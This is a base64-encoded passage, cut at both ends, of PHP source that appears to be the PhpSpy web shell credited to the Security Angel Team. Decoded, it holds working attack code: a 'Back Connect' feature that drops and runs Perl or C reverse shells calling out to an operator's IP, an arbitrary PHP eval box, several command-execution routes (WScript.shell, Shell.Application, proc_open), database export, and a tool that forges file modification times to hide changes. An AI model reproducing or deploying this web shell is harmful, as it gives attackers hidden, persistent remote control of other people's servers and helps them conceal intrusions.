JCQlwKCc8dGQgY29sc3Bhbj0iJy4oJGhpZ2h2ZXIgPyA0IDogMikuJyI+Jm5ic3A7PC90ZD4nKTsNCgkJCQlwKCc8L3RyPicpOw0KDQoJCQkJcCgiPHRyIGNsYXNzPVwiIi5iZygpLiJcIj48dGQgY29sc3Bhbj1cIiIuKCRoaWdodmVyID8gOCA6IDYpLiJcIj48aW5wdXQgbmFtZT1cInNhdmVhc2ZpbGVcIiB2YWx1ZT1cIjFcIiB0eXBlPVwiY2hlY2tib3hcIiAvPiBTYXZlIGFzIGZpbGUgPGlucHV0IGNsYXNzPVwiaW5wdXRcIiBuYW1lPVwicGF0aFwiIHZhbHVlPVwiIi5TQV9ST09ULiRfU0VSVkVSWydIVFRQX0hPU1QnXS4iX015U1FMLnNxbFwiIHR5cGU9XCJ0ZXh0XCIgc2l6ZT1cIjYwXCIgLz4gPGlucHV0IGNsYXNzPVwiYnRcIiB0eXBlPVwic3VibWl0XCIgbmFtZT1cImRvd25yYXJcIiB2YWx1ZT1cIkV4cG9ydCBzZWxlY3Rpb24gdGFibGVcIiAvPjwvdGQ+PC90cj4iKTsNCgkJCQltYWtlaGlkZSgnZG9pbmcnLCdiYWNrdXBteXNxbCcpOw0KCQkJCWZvcm1mb290KCk7DQoJCQkJcCgiPC90YWJsZT4iKTsNCgkJCQlmcigkcXVlcnkpOw0KCQkJfQ0KCQl9DQoJfQ0KCXRiZm9vdCgpOw0KCUBteXNxbF9jbG9zZSgpOw0KfS8vZW5kIHNxbCBiYWNrdXANCg0KDQplbHNlaWYgKCRhY3Rpb24gPT0gJ2JhY2tjb25uZWN0Jykgew0KCSEkeW91cmlwICYmICR5b3VyaXAgPSAkX1NFUlZFUlsnUkVNT1RFX0FERFInXTsNCgkhJHlvdXJwb3J0ICYmICR5b3VycG9ydCA9ICcxMjM0NSc7DQoJJHVzZWRiID0gYXJyYXkoJ3BlcmwnPT4ncGVybCcsJ2MnPT4nYycpOw0KDQoJJGJhY2tfY29ubmVjdD0iSXlFdmRYTnlMMkpwYmk5d1pYSnNEUXAxYzJVZ1UyOWphMlYwT3cwS0pHTnRaRDBnSW14NWJuZ2lPdzBLSkhONWMzUmxiVDBnSjJWamFHOGdJbUIxYm1GdFpTQXRZV0FpTzJWaiIuDQoJCSJhRzhnSW1CcFpHQWlPeTlpYVc0dmMyZ25PdzBLSkRBOUpHTnRaRHNOQ2lSMFlYSm5aWFE5SkVGU1IxWmJNRjA3RFFva2NHOXlkRDBrUVZKSFZsc3hYVHNOQ2lScFlXUmtjajFwYm1WMFgyRjBiMjRvSkhSIi4NCgkJImhjbWRsZENrZ2ZId2daR2xsS0NKRmNuSnZjam9nSkNGY2JpSXBPdzBLSkhCaFpHUnlQWE52WTJ0aFpHUnlYMmx1S0NSd2IzSjBMQ0FrYVdGa1pISXBJSHg4SUdScFpTZ2lSWEp5YjNJNklDUWhYRzRpS1QiLg0KCQkic05DaVJ3Y205MGJ6MW5aWFJ3Y205MGIySjVibUZ0WlNnbmRHTndKeWs3RFFwemIyTnJaWFFvVTA5RFMwVlVMQ0JRUmw5SlRrVlVMQ0JUVDBOTFgxTlVVa1ZCVFN3Z0pIQnliM1J2S1NCOGZDQmthV1VvSSIuDQoJCSJrVnljbTl5T2lBa0lWeHVJaWs3RFFwamIyNXVaV04wS0ZOUFEwdEZWQ3dnSkhCaFpHUnlLU0I4ZkNCa2FXVW9Ja1Z5Y205eU9pQWtJVnh1SWlrN0RRcHZjR1Z1S0ZOVVJFbE9MQ0FpUGlaVFQwTkxSVlFpIi4NCgkJIktUc05DbTl3Wlc0b1UxUkVUMVZVTENBaVBpWlRUME5MUlZRaUtUc05DbTl3Wlc0b1UxUkVSVkpTTENBaVBpWlRUME5MUlZRaUtUc05Dbk41YzNSbGJTZ2tjM2x6ZEdWdEtUc05DbU5zYjNObEtGTlVSRWwiLg0KCQkiT0tUc05DbU5zYjNObEtGTlVSRTlWVkNrN0RRcGpiRzl6WlNoVFZFUkZVbElwT3c9PSI7DQoJJGJhY2tfY29ubmVjdF9jPSJJMmx1WTJ4MVpHVWdQSE4wWkdsdkxtZytEUW9qYVc1amJIVmtaU0E4YzNsekwzTnZZMnRsZEM1b1BnMEtJMmx1WTJ4MVpHVWdQRzVsZEdsdVpYUXZhVzR1YUQ0TkNtbHVkQyIuDQoJCSJCdFlXbHVLR2x1ZENCaGNtZGpMQ0JqYUdGeUlDcGhjbWQyVzEwcERRcDdEUW9nYVc1MElHWmtPdzBLSUhOMGNuVmpkQ0J6YjJOcllXUmtjbDlwYmlCemFXNDdEUW9nWTJoaGNpQnliWE5iTWpGZFBTSnliIi4NCgkJIlNBdFppQWlPeUFOQ2lCa1lXVnRiMjRvTVN3d0tUc05DaUJ6YVc0dWMybHVYMlpoYldsc2VTQTlJRUZHWDBsT1JWUTdEUW9nYzJsdUxuTnBibDl3YjNKMElEMGdhSFJ2Ym5Nb1lYUnZhU2hoY21kMld6SmQiLg0KCQkiS1NrN0RRb2djMmx1TG5OcGJsOWhaR1J5TG5OZllXUmtjaUE5SUdsdVpYUmZZV1JrY2loaGNtZDJXekZkS1RzZ0RRb2dZbnBsY204b1lYSm5kbHN4WFN4emRISnNaVzRvWVhKbmRsc3hYU2tyTVN0emRISiIuDQoJCSJzWlc0b1lYSm5kbHN5WFNrcE95QU5DaUJtWkNBOUlITnZZMnRsZENoQlJsOUpUa1ZVTENCVFQwTkxYMU5VVWtWQlRTd2dTVkJRVWs5VVQxOVVRMUFwSURzZ0RRb2dhV1lnS0NoamIyNXVaV04wS0daa0xDIi4NCgkJIkFvYzNSeWRXTjBJSE52WTJ0aFpHUnlJQ29wSUNaemFXNHNJSE5wZW1WdlppaHpkSEoxWTNRZ2MyOWphMkZrWkhJcEtTazhNQ2tnZXcwS0lDQWdjR1Z5Y205eUtDSmJMVjBnWTI5dWJtVmpkQ2dwSWlrN0QiLg0KCQkiUW9nSUNCbGVHbDBLREFwT3cwS0lIME5DaUJ6ZEhKallYUW9jbTF6TENCaGNtZDJXekJkS1RzTkNpQnplWE4wWlcwb2NtMXpLVHNnSUEwS0lHUjFjRElvWm1Rc0lEQXBPdzBLSUdSMWNESW9abVFzSURFcCIuDQoJCSJPdzBLSUdSMWNESW9abVFzSURJcE93MEtJR1Y0WldOc0tDSXZZbWx1TDNOb0lpd2ljMmdnTFdraUxDQk9WVXhNS1RzTkNpQmpiRzl6WlNobVpDazdJQTBLZlE9PSI7DQoNCglpZiAoJHN0YXJ0ICYmICR5b3VyaXAgJiYgJHlvdXJwb3J0ICYmICR1c2Upew0KCQlpZiAoJHVzZSA9PSAncGVybCcpIHsNCgkJCWNmKCcvdG1wL2FuZ2VsX2JjJywkYmFja19jb25uZWN0KTsNCgkJCSRyZXMgPSBleGVjdXRlKHdoaWNoKCdwZXJsJykuIiAvdG1wL2FuZ2VsX2JjICR5b3VyaXAgJHlvdXJwb3J0ICYiKTsNCgkJfSBlbHNlIHsNCgkJCWNmKCcvdG1wL2FuZ2VsX2JjLmMnLCRiYWNrX2Nvbm5lY3RfYyk7DQoJCQkkcmVzID0gZXhlY3V0ZSgnZ2NjIC1vIC90bXAvYW5nZWxfYmMgL3RtcC9hbmdlbF9iYy5jJyk7DQoJCQlAdW5saW5rKCcvdG1wL2FuZ2VsX2JjLmMnKTsNCgkJCSRyZXMgPSBleGVjdXRlKCIvdG1wL2FuZ2VsX2JjICR5b3VyaXAgJHlvdXJwb3J0ICYiKTsNCgkJfQ0KCQltKCJOb3cgc2NyaXB0IHRyeSBjb25uZWN0IHRvICR5b3VyaXAgcG9ydCAkeW91cnBvcnQgLi4uIik7DQoJfQ0KDQoJZm9ybWhlYWQoYXJyYXkoJ3RpdGxlJz0+J0JhY2sgQ29ubmVjdCcpKTsNCgltYWtlaGlkZSgnYWN0aW9uJywnYmFja2Nvbm5lY3QnKTsNCglwKCc8cD4nKTsNCglwKCdZb3VyIElQOicpOw0KCW1ha2VpbnB1dChhcnJheSgnbmFtZSc9Pid5b3VyaXAnLCdzaXplJz0+MjAsJ3ZhbHVlJz0+JHlvdXJpcCkpOw0KCXAoJ1lvdXIgUG9ydDonKTsNCgltYWtlaW5wdXQoYXJyYXkoJ25hbWUnPT4neW91cnBvcnQnLCdzaXplJz0+MTUsJ3ZhbHVlJz0+JHlvdXJwb3J0KSk7DQoJcCgnVXNlOicpOw0KCW1ha2VzZWxlY3QoYXJyYXkoJ25hbWUnPT4ndXNlJywnb3B0aW9uJz0+JHVzZWRiLCdzZWxlY3RlZCc9PiR1c2UpKTsNCgltYWtlaW5wdXQoYXJyYXkoJ25hbWUnPT4nc3RhcnQnLCd2YWx1ZSc9PidTdGFydCcsJ3R5cGUnPT4nc3VibWl0JywnY2xhc3MnPT4nYnQnKSk7DQoJcCgnPC9wPicpOw0KCWZvcm1mb290KCk7DQp9Ly9lbmQgc3FsIGJhY2t1cA0KDQplbHNlaWYgKCRhY3Rpb24gPT0gJ2V2YWwnKSB7DQoJJHBocGNvZGUgPSB0cmltKCRwaHBjb2RlKTsNCglpZigkcGhwY29kZSl7DQoJCWlmICghcHJlZ19tYXRjaCgnIzxcPyNzaScsICRwaHBjb2RlKSkgew0KCQkJJHBocGNvZGUgPSAiPD9waHBcblxueyRwaHBjb2RlfVxuXG4/PiI7DQoJCX0NCgkJZXZhbCgiPyIuIj4kcGhwY29kZTw/Iik7DQoJfQ0KCWZvcm1oZWFkKGFycmF5KCd0aXRsZSc9PidFdmFsIFBIUCBDb2RlJykpOw0KCW1ha2VoaWRlKCdhY3Rpb24nLCdldmFsJyk7DQoJbWFrZXRleHQoYXJyYXkoJ3RpdGxlJz0+J1BIUCBDb2RlJywnbmFtZSc9PidwaHBjb2RlJywgJ3ZhbHVlJz0+JHBocGNvZGUpKTsNCglwKCc8cD48YSBocmVmPSJodHRwOi8vd3d3LjRuZ2VsLm5ldC9waHBzcHkvcGx1Z2luLyIgdGFyZ2V0PSJfYmxhbmsiPkdldCBwbHVnaW5zPC9hPjwvcD4nKTsNCglmb3JtZm9vdGVyKCk7DQp9Ly9lbmQgZXZhbA0KDQplbHNlaWYgKCRhY3Rpb24gPT0gJ2VkaXRmaWxlJykgew0KCWlmKGZpbGVfZXhpc3RzKCRvcGZpbGUpKSB7DQoJCSRmcD1AZm9wZW4oJG9wZmlsZSwncicpOw0KCQkkY29udGVudHM9QGZyZWFkKCRmcCwgZmlsZXNpemUoJG9wZmlsZSkpOw0KCQlAZmNsb3NlKCRmcCk7DQoJCSRjb250ZW50cz1odG1sc3BlY2lhbGNoYXJzKCRjb250ZW50cyk7DQoJfQ0KCWZvcm1oZWFkKGFycmF5KCd0aXRsZSc9PidDcmVhdGUgLyBFZGl0IEZpbGUnKSk7DQoJbWFrZWhpZGUoJ2FjdGlvbicsJ2ZpbGUnKTsNCgltYWtlaGlkZSgnZGlyJywkbm93cGF0aCk7DQoJbWFrZWlucHV0KGFycmF5KCd0aXRsZSc9PidDdXJyZW50IEZpbGUgKGltcG9ydCBuZXcgZmlsZSBuYW1lIGFuZCBuZXcgZmlsZSknLCduYW1lJz0+J2VkaXRmaWxlbmFtZScsJ3ZhbHVlJz0+JG9wZmlsZSwnbmV3bGluZSc9PjEpKTsNCgltYWtldGV4dChhcnJheSgndGl0bGUnPT4nRmlsZSBDb250ZW50JywnbmFtZSc9PidmaWxlY29udGVudCcsJ3ZhbHVlJz0+JGNvbnRlbnRzKSk7DQoJZm9ybWZvb3RlcigpOw0KfS8vZW5kIGVkaXRmaWxlDQoNCmVsc2VpZiAoJGFjdGlvbiA9PSAnbmV3dGltZScpIHsNCgkkb3BmaWxlbXRpbWUgPSBAZmlsZW10aW1lKCRvcGZpbGUpOw0KCS8vJHRpbWUgPSBzdHJ0b3RpbWUoIiR5ZWFyLSRtb250aC0kZGF5ICRob3VyOiRtaW51dGU6JHNlY29uZCIpOw0KCSRjYWNoZW1vbnRoID0gYXJyYXkoJ0phbnVhcnknPT4xLCdGZWJydWFyeSc9PjIsJ01hcmNoJz0+MywnQXByaWwnPT40LCdNYXknPT41LCdKdW5lJz0+NiwnSnVseSc9PjcsJ0F1Z3VzdCc9PjgsJ1NlcHRlbWJlcic9PjksJ09jdG9iZXInPT4xMCwnTm92ZW1iZXInPT4xMSwnRGVjZW1iZXInPT4xMik7DQoJZm9ybWhlYWQoYXJyYXkoJ3RpdGxlJz0+J0Nsb25lIGZpbGUgd2FzIGxhc3QgbW9kaWZpZWQgdGltZScpKTsNCgltYWtlaGlkZSgnYWN0aW9uJywnZmlsZScpOw0KCW1ha2VoaWRlKCdkaXInLCRub3dwYXRoKTsNCgltYWtlaW5wdXQoYXJyYXkoJ3RpdGxlJz0+J0FsdGVyIGZpbGUnLCduYW1lJz0+J2N1cmZpbGUnLCd2YWx1ZSc9PiRvcGZpbGUsJ3NpemUnPT4xMjAsJ25ld2xpbmUnPT4xKSk7DQoJbWFrZWlucHV0KGFycmF5KCd0aXRsZSc9PidSZWZlcmVuY2UgZmlsZSAoZnVsbHBhdGgpJywnbmFtZSc9Pid0YXJmaWxlJywnc2l6ZSc9PjEyMCwnbmV3bGluZSc9PjEpKTsNCglmb3JtZm9vdGVyKCk7DQoJZm9ybWhlYWQoYXJyYXkoJ3RpdGxlJz0+J1NldCBsYXN0IG1vZGlmaWVkJykpOw0KCW1ha2VoaWRlKCdhY3Rpb24nLCdmaWxlJyk7DQoJbWFrZWhpZGUoJ2RpcicsJG5vd3BhdGgpOw0KCW1ha2VpbnB1dChhcnJheSgndGl0bGUnPT4nQ3VycmVudCBmaWxlIChmdWxscGF0aCknLCduYW1lJz0+J2N1cmZpbGUnLCd2YWx1ZSc9PiRvcGZpbGUsJ3NpemUnPT4xMjAsJ25ld2xpbmUnPT4xKSk7DQoJcCgnPHA+SW5zdGVhZCAmcmFxdW87Jyk7DQoJcCgneWVhcjonKTsNCgltYWtlaW5wdXQoYXJyYXkoJ25hbWUnPT4neWVhcicsJ3ZhbHVlJz0+ZGF0ZSgnWScsJG9wZmlsZW10aW1lKSwnc2l6ZSc9PjQpKTsNCglwKCdtb250aDonKTsNCgltYWtlaW5wdXQoYXJyYXkoJ25hbWUnPT4nbW9udGgnLCd2YWx1ZSc9PmRhdGUoJ20nLCRvcGZpbGVtdGltZSksJ3NpemUnPT4yKSk7DQoJcCgnZGF5OicpOw0KCW1ha2VpbnB1dChhcnJheSgnbmFtZSc9PidkYXknLCd2YWx1ZSc9PmRhdGUoJ2QnLCRvcGZpbGVtdGltZSksJ3NpemUnPT4yKSk7DQoJcCgnaG91cjonKTsNCgltYWtlaW5wdXQoYXJyYXkoJ25hbWUnPT4naG91cicsJ3ZhbHVlJz0+ZGF0ZSgnSCcsJG9wZmlsZW10aW1lKSwnc2l6ZSc9PjIpKTsNCglwKCdtaW51dGU6Jyk7DQoJbWFrZWlucHV0KGFycmF5KCduYW1lJz0+J21pbnV0ZScsJ3ZhbHVlJz0+ZGF0ZSgnaScsJG9wZmlsZW10aW1lKSwnc2l6ZSc9PjIpKTsNCglwKCdzZWNvbmQ6Jyk7DQoJbWFrZWlucHV0KGFycmF5KCduYW1lJz0+J3NlY29uZCcsJ3ZhbHVlJz0+ZGF0ZSgncycsJG9wZmlsZW10aW1lKSwnc2l6ZSc9PjIpKTsNCglwKCc8L3A+Jyk7DQoJZm9ybWZvb3RlcigpOw0KfS8vZW5kIG5ld3RpbWUNCg0KZWxzZWlmICgkYWN0aW9uID09ICdzaGVsbCcpIHsNCglpZiAoSVNfV0lOICYmIElTX0NPTSkgew0KCQlpZigkcHJvZ3JhbSAmJiAkcGFyYW1ldGVyKSB7DQoJCQkkc2hlbGw9IG5ldyBDT00oJ1NoZWxsLkFwcGxpY2F0aW9uJyk7DQoJCQkkYSA9ICRzaGVsbC0+U2hlbGxFeGVjdXRlKCRwcm9ncmFtLCRwYXJhbWV0ZXIpOw0KCQkJbSgnUHJvZ3JhbSBydW4gaGFzICcuKCEkYSA/ICdzdWNjZXNzJyA6ICdmYWlsJykpOw0KCQl9DQoJCSEkcHJvZ3JhbSAmJiAkcHJvZ3JhbSA9ICdjOlx3aW5kb3dzXHN5c3RlbTMyXGNtZC5leGUnOw0KCQkhJHBhcmFtZXRlciAmJiAkcGFyYW1ldGVyID0gJy9jIG5ldCBzdGFydCA+ICcuU0FfUk9PVC4nbG9nLnR4dCc7DQoJCWZvcm1oZWFkKGFycmF5KCd0aXRsZSc9PidFeGVjdXRlIFByb2dyYW0nKSk7DQoJCW1ha2VoaWRlKCdhY3Rpb24nLCdzaGVsbCcpOw0KCQltYWtlaW5wdXQoYXJyYXkoJ3RpdGxlJz0+J1Byb2dyYW0nLCduYW1lJz0+J3Byb2dyYW0nLCd2YWx1ZSc9PiRwcm9ncmFtLCduZXdsaW5lJz0+MSkpOw0KCQlwKCc8cD4nKTsNCgkJbWFrZWlucHV0KGFycmF5KCd0aXRsZSc9PidQYXJhbWV0ZXInLCduYW1lJz0+J3BhcmFtZXRlcicsJ3ZhbHVlJz0+JHBhcmFtZXRlcikpOw0KCQltYWtlaW5wdXQoYXJyYXkoJ25hbWUnPT4nc3VibWl0JywnY2xhc3MnPT4nYnQnLCd0eXBlJz0+J3N1Ym1pdCcsJ3ZhbHVlJz0+J0V4ZWN1dGUnKSk7DQoJCXAoJzwvcD4nKTsNCgkJZm9ybWZvb3QoKTsNCgl9DQoJZm9ybWhlYWQoYXJyYXkoJ3RpdGxlJz0+J0V4ZWN1dGUgQ29tbWFuZCcpKTsNCgltYWtlaGlkZSgnYWN0aW9uJywnc2hlbGwnKTsNCglpZiAoSVNfV0lOICYmIElTX0NPTSkgew0KCQkkZXhlY2Z1bmNkYiA9IGFycmF5KCdwaHBmdW5jJz0+J3BocGZ1bmMnLCd3c2NyaXB0Jz0+J3dzY3JpcHQnLCdwcm9jX29wZW4nPT4ncHJvY19vcGVuJyk7DQoJCW1ha2VzZWxlY3QoYXJyYXkoJ3RpdGxlJz0+J1VzZTonLCduYW1lJz0+J2V4ZWNmdW5jJywnb3B0aW9uJz0+JGV4ZWNmdW5jZGIsJ3NlbGVjdGVkJz0+JGV4ZWNmdW5jLCduZXdsaW5lJz0+MSkpOw0KCX0NCglwKCc8cD4nKTsNCgltYWtlaW5wdXQoYXJyYXkoJ3RpdGxlJz0+J0NvbW1hbmQnLCduYW1lJz0+J2NvbW1hbmQnLCd2YWx1ZSc9PiRjb21tYW5kKSk7DQoJbWFrZWlucHV0KGFycmF5KCduYW1lJz0+J3N1Ym1pdCcsJ2NsYXNzJz0+J2J0JywndHlwZSc9PidzdWJtaXQnLCd2YWx1ZSc9PidFeGVjdXRlJykpOw0KCXAoJzwvcD4nKTsNCglmb3JtZm9vdCgpOw0KDQoJaWYgKCRjb21tYW5kKSB7DQoJCXAoJzxociB3aWR0aD0iMTAwJSIgbm9zaGFkZSAvPjxwcmU+Jyk7DQoJCWlmICgkZXhlY2Z1bmM9PSd3c2NyaXB0JyAmJiBJU19XSU4gJiYgSVNfQ09NKSB7DQoJCQkkd3NoID0gbmV3IENPTSgnV1NjcmlwdC5zaGVsbCcpOw0KCQkJJGV4ZWMgPSAkd3NoLT5leGVjKCdjbWQuZXhlIC9jICcuJGNvbW1hbmQpOw0KCQkJJHN0ZG91dCA9ICRleGVjLT5TdGRPdXQoKTsNCgkJCSRzdHJvdXRwdXQgPSAkc3Rkb3V0LT5SZWFkQWxsKCk7DQoJCQllY2hvICRzdHJvdXRwdXQ7DQoJCX0gZWxzZWlmICgkZXhlY2Z1bmM9PSdwcm9jX29wZW4nICYmIElTX1dJTiAmJiBJU19DT00pIHsNCgkJCSRkZXNjcmlwdG9yc3BlYyA9IGFycmF5KA0KCQkJICAgMCA9PiBhcnJheSgncGlwZScsICdyJyksDQoJCQkgICAxID0+IGFycmF5KCdwaXBlJywgJ3cnKSwNCgkJCSAgIDIgPT4gYXJyYXkoJ3BpcGUnLCAndycpDQoJCQkpOw0KCQkJJHByb2Nlc3MgPSBwcm9jX29wZW4oJF9TRVJWRVJbJ0NPTVNQRUMnXSwgJGRlc2NyaXB0b3JzcGVjLCAkcGlwZXMpOw0KCQkJaWYgKGlzX3Jlc291cmNlKCRwcm9jZXNzKSkgew0KCQkJCWZ3cml0ZSgkcGlwZXNbMF0sICRjb21tYW5kLiJcclxuIik7DQoJCQkJZndyaXRlKCRwaXBlc1swXSwgImV4aXRcclxuIik7DQoJCQkJZmNsb3NlKCRwaXBlc1swXSk7DQoJCQkJd2hpbGUgKCFmZW9mKCRwaXBlc1sxXSkpIHsNCgkJCQkJZWNobyBmZ2V0cygkcGlwZXNbMV0sIDEwMjQpOw0KCQkJCX0NCgkJCQlmY2xvc2UoJHBpcGVzWzFdKTsNCgkJCQl3aGlsZSAoIWZlb2YoJHBpcGVzWzJdKSkgew0KCQkJCQllY2hvIGZnZXRzKCRwaXBlc1syXSwgMTAyNCk7DQoJCQkJfQ0KCQkJCWZjbG9zZSgkcGlwZXNbMl0pOw0KCQkJCXByb2NfY2xvc2UoJHByb2Nlc3MpOw0KCQkJfQ0KCQl9IGVsc2Ugew0KCQkJZWNobyhleGVjdXRlKCRjb21tYW5kKSk7DQoJCX0NCgkJcCgnPC9wcmU+Jyk7DQoJfQ0KfS8vZW5kIHNoZWxsDQoNCmVsc2VpZiAoJGFjdGlvbiA9PSAncGhwZW52Jykgew0KCSR1cHNpemU9Z2V0Y2ZnKCdmaWxlX3VwbG9hZHMnKSA/IGdldGNmZygndXBsb2FkX21heF9maWxlc2l6ZScpIDogJ05vdCBhbGxvd2VkJzsNCgkkYWRtaW5tYWlsPWlzc2V0KCRfU0VSVkVSWydTRVJWRVJfQURNSU4nXSkgPyAkX1NFUlZFUlsnU0VSVkVSX0FETUlOJ10gOiBnZXRjZmcoJ3NlbmRtYWlsX2Zyb20nKTsNCgkhJGRpc19mdW5jICYmICRkaXNfZnVuYyA9ICdObyc7CQ0KCSRpbmZvID0gYXJyYXkoDQoJCTEgPT4gYXJyYXkoJ1NlcnZlciBUaW1lJyxkYXRlKCdZL20vZCBoOmk6cycsJHRpbWVzdGFtcCkpLA0KCQkyID0+IGFycmF5KCdTZXJ2ZXIgRG9tYWluJywkX1NFUlZFUlsnU0VSVkVSX05BTUUnXSksDQoJCTMgPT4gYXJyYXkoJ1NlcnZlciBJUCcsZ2V0aG9zdGJ5bmFtZSgkX1NFUlZFUlsnU0VSVkVSX05BTUUnXSkpLA0KCQk0ID0+IGFycmF5KCdTZXJ2ZXIgT1MnLFBIUF9PUyksDQoJCTUgPT4gYXJyYXkoJ1NlcnZlciBPUyBDaGFyc2V0JywkX1NFUlZFUlsnSFRUUF9BQ0NFUFRfTEFOR1VBR0UnXSksDQoJCTYgPT4gYXJyYXkoJ1NlcnZlciBTb2Z0d2FyZScsJF9TRVJWRVJbJ1NFUlZFUl9TT0ZUV0FSRSddKSwNCgkJNyA9PiBhcnJheSgnU2VydmVyIFdlYiBQb3J0JywkX1NFUlZFUlsnU0VSVkVSX1BPUlQnXSksDQoJCTggPT4gYXJyYXkoJ1BIUCBydW4gbW9kZScsc3RydG91cHBlcihwaHBfc2FwaV9uYW1lKCkpKSwNCgkJOSA9PiBhcnJheSgnVGhlIGZpbGUgcGF0aCcsX19GSUxFX18pLA0KDQoJCTEwID0+IGFycmF5KCdQSFAgVmVyc2lvbicsUEhQX1ZFUlNJT04pLA0KCQkxMSA9PiBhcnJheSgnUEhQSU5GTycsKElTX1BIUElORk8gPyAnPGEgaHJlZj0iamF2YXNjcmlwdDpnb2FjdGlvbihcJ3BocGluZm9cJyk7Ij5ZZXM8L2E+JyA6ICdObycpKSwNCgkJMTIgPT4gYXJyYXkoJ1NhZmUgTW9kZScsZ2V0Y2ZnKCdzYWZlX21vZGUnKSksDQoJCTEzID0+IGFycmF5KCdBZG1pbmlzdHJhdG9yJywkYWRtaW5tYWlsKSwNCgkJMTQgPT4gYXJyYXkoJ2FsbG93X3VybF9mb3BlbicsZ2V0Y2ZnKCdhbGxvd191cmxfZm9wZW4nKSksDQoJCTE1ID0+IGFycmF5KCdlbmFibGVfZGwnLGdldGNmZygnZW5hYmxlX2RsJykpLA0KCQkxNiA9PiBhcnJheSgnZGlzcGxheV9lcnJvcnMnLGdldGNmZygnZGlzcGxheV9lcnJvcnMnKSksDQoJCTE3ID0+IGFycmF5KCdyZWdpc3Rlcl9nbG9iYWxzJyxnZXRjZmcoJ3JlZ2lzdGVyX2dsb2JhbHMnKSksDQoJCTE4ID0+IGFycmF5KCdtYWdpY19xdW90ZXNfZ3BjJyxnZXRjZmcoJ21hZ2ljX3F1b3Rlc19ncGMnKSksDQoJCTE5ID0+IGFycmF5KCdtZW1vcnlfbGltaXQnLGdldGNmZygnbWVtb3J5X2xpbWl0JykpLA0KCQkyMCA9PiBhcnJheSgncG9zdF9tYXhfc2l6ZScsZ2V0Y2ZnKCdwb3N0X21heF9zaXplJykpLA0KCQkyMSA9PiBhcnJheSgndXBsb2FkX21heF9maWxlc2l6ZScsJHVwc2l6ZSksDQoJCTIyID0+IGFycmF5KCdtYXhfZXhlY3V0aW9uX3RpbWUnLGdldGNmZygnbWF4X2V4ZWN1dGlvbl90aW1lJykuJyBzZWNvbmQocyknKSwNCgkJMjMgPT4gYXJyYXkoJ2Rpc2FibGVfZnVuY3Rpb25zJywkZGlzX2Z1bmMpLA0KCSk7DQoNCglpZigkcGhwdmFybmFtZSkgew0KCQltKCRwaHB2YXJuYW1lIC4nIDogJy5nZXRjZmcoJHBocHZhcm5hbWUpKTsNCgl9DQoNCglmb3JtaGVhZChhcnJheSgndGl0bGUnPT4nU2VydmVyIGVudmlyb25tZW50JykpOw0KCW1ha2VoaWRlKCdhY3Rpb24nLCdwaHBlbnYnKTsNCgltYWtlaW5wdXQoYXJyYXkoJ3RpdGxlJz0+J1BsZWFzZSBpbnB1dCBQSFAgY29uZmlndXJhdGlvbiBwYXJhbWV0ZXIoZWc6bWFnaWNfcXVvdGVzX2dwYyknLCduYW1lJz0+J3BocHZhcm5hbWUnLCd2YWx1ZSc9PiRwaHB2YXJuYW1lLCduZXdsaW5lJz0+MSkpOw0KCWZvcm1mb290ZXIoKTsNCg0KCSRocCA9IGFycmF5KDA9PiAnU2VydmVyJywgMT0+ICdQSFAnKTsNCglmb3IoJGE9MDskYTwyOyRhKyspIHsNCgkJcCgnPGgyPicuJGhwWyRhXS4nICZyYXF1bzs8L2gyPicpOw0KCQlwKCc8dWwgY2xhc3M9ImluZm8iPicpOw0KCQlpZiAoJGE9PTApIHsNCgkJCWZvcigkaT0xOyRpPD05OyRpKyspIHsNCgkJCQlwKCc8bGk+PHU+Jy4kaW5mb1skaV1bMF0uJzo8L3U+Jy4kaW5mb1skaV1bMV0uJzwvbGk+Jyk7DQoJCQl9DQoJCX0gZWxzZWlmICgkYSA9PSAxKSB7DQoJCQlmb3IoJGk9MTA7JGk8PTIzOyRpKyspIHsNCgkJCQlwKCc8bGk+PHU+Jy4kaW5mb1skaV1bMF0uJzo8L3U+Jy4kaW5mb1skaV1bMV0uJzwvbGk+Jyk7DQoJCQl9DQoJCX0NCgkJcCgnPC91bD4nKTsNCgl9DQp9Ly9lbmQgcGhwZW52DQoNCmVsc2Ugew0KCW0oJ1VuZGVmaW5lZCBBY3Rpb24nKTsNCn0NCg0KPz4NCjwvdGQ+PC90cj48L3RhYmxlPg0KPGRpdiBzdHlsZT0icGFkZGluZzoxMHB4O2JvcmRlci1ib3R0b206MXB4IHNvbGlkICNmZmY7Ym9yZGVyLXRvcDoxcHggc29saWQgI2RkZDtiYWNrZ3JvdW5kOiNlZWU7Ij4NCgk8c3BhbiBzdHlsZT0iZmxvYXQ6cmlnaHQ7Ij48P3BocCBkZWJ1Z2luZm8oKTtvYl9lbmRfZmx1c2goKTs/Pjwvc3Bhbj4NCglDb3B5cmlnaHQgKEMpIDIwMDQtMjAwOCA8YSBocmVmPSJodHRwOi8vd3d3LjRuZ2VsLm5ldCIgdGFyZ2V0PSJfYmxhbmsiPlNlY3VyaXR5IEFuZ2VsIFRlYW0gW1M0VF08L2E+IEFsbCBSaWdodHMgUmVzZXJ2ZWQuDQo8L2Rpdj4NCjwvYm9keT4NCjwvaHRtbD4NCg0KPD9waHANCg0KLyo9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0NCrqvyiYjMzA1O7/iDQo9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0qLw0KDQpmdW5jdGlvbiBtKCRtc2cpIHsNCgllY2hvICc8ZGl2IHN0eWxlPSJiYWNrZ3JvdW5kOiNmMWYxZjE7Ym9yZGVyOjFweCBzb2xpZCAjZGRkO3BhZGRpbmc6MTVweDtmb250OjE0cHg7dGV4dC1hbGlnbjpjZW50ZXI7Zm9udC13ZWlnaHQ6Ym9sZDsiPic7DQoJZWNobyAkbXNnOw0KCWVjaG8gJzwvZGl2Pic7DQp9DQpmdW5jdGlvbiBzY29va2llKCRrZXksICR2YWx1ZSwgJGxpZmUgPSAwLCAkcHJlZml4ID0gMSkgew0KCWdsb2JhbCAkYWRtaW4sICR0aW1lc3RhbXAsICRfU0VSVkVSOw0KCSRrZXkgPSAoJHByZWZpeCA/ICRhZG1pblsnY29va2llcHJlJ10gOiAnJykuJGtleTsNCgkkbGlmZSA9ICRsaWZlID8gJGxpZmUgOiAkYWRtaW5bJ2Nvb2tpZWxpZmUnXTsNCgkkdXNlcG9ydCA9ICRfU0VSVkVSWydTRVJWRVJfUE9SVCddID09IDQ0MyA/IDEgOiAwOw0KCXNldGNvb2tpZSgka2V5LCAkdmFsdWUsICR0aW1lc3RhbXArJGxpZmUsICRhZG1pblsnY29va2llcGF0aCddLCAkYWRtaW5bJ